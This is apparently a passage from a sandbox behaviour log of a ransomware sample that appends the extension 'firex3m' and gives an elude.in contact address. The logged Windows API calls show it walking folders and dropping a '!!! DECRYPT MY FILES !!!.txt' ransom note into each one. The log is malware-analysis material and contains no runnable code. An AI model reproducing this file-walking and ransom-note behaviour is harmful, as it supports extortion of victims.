lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.615] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.615] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d54c0 [0088.616] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0088.616] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.841] GetProcessHeap () returned 0x630000 [0088.841] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e9080 [0088.841] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.841] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1043\\eula.rtf", psz="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 1 [0088.841] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1043\\localizeddata.xml") returned 0x2c [0088.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.842] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.842] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.842] GetProcessHeap () returned 0x630000 [0088.842] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x20) returned 0x6e8fb8 [0088.842] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.842] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1043\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1043\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 1 [0088.842] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1043\\setupresources.dll") returned 0x2d [0088.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.842] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.842] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.842] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.843] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0088.843] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1044\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1044\\") returned 1 [0088.843] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1044\\") returned 0x1b [0088.843] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.843] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.843] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5080 [0088.844] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.844] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1044\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 1 [0088.844] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1044\\eula.rtf") returned 0x23 [0088.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.845] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.845] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.845] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5340 [0088.845] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0088.845] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0089.981] GetProcessHeap () returned 0x630000 [0089.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12b0 [0089.982] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0089.982] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1044\\eula.rtf", psz="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 1 [0089.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1044\\localizeddata.xml") returned 0x2c [0089.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0089.982] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0089.982] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0089.982] GetProcessHeap () returned 0x630000 [0089.982] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b12c8 [0089.982] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0089.982] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1044\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1044\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 1 [0089.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1044\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1044\\setupresources.dll") returned 0x2d [0089.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0089.983] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0089.983] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0089.983] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.983] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0089.983] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0089.983] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1045\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1045\\") returned 1 [0089.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1045\\") returned 0x1b [0089.984] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0089.984] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0089.984] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e00 [0089.984] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.985] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0089.985] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1045\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 1 [0089.985] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1045\\eula.rtf") returned 0x23 [0089.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0089.985] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0089.985] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0089.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0089.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0089.985] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5480 [0089.986] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0089.986] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0089.999] GetProcessHeap () returned 0x630000 [0089.999] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12c8, Size=0x14) returned 0x6b0418 [0089.999] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0089.999] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1045\\eula.rtf", psz="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 1 [0089.999] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1045\\localizeddata.xml") returned 0x2c [0089.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0090.000] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0090.000] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0090.000] GetProcessHeap () returned 0x630000 [0090.000] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x18) returned 0x6b0458 [0090.000] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0090.000] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1045\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1045\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 1 [0090.000] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1045\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1045\\setupresources.dll") returned 0x2d [0090.000] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.000] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: 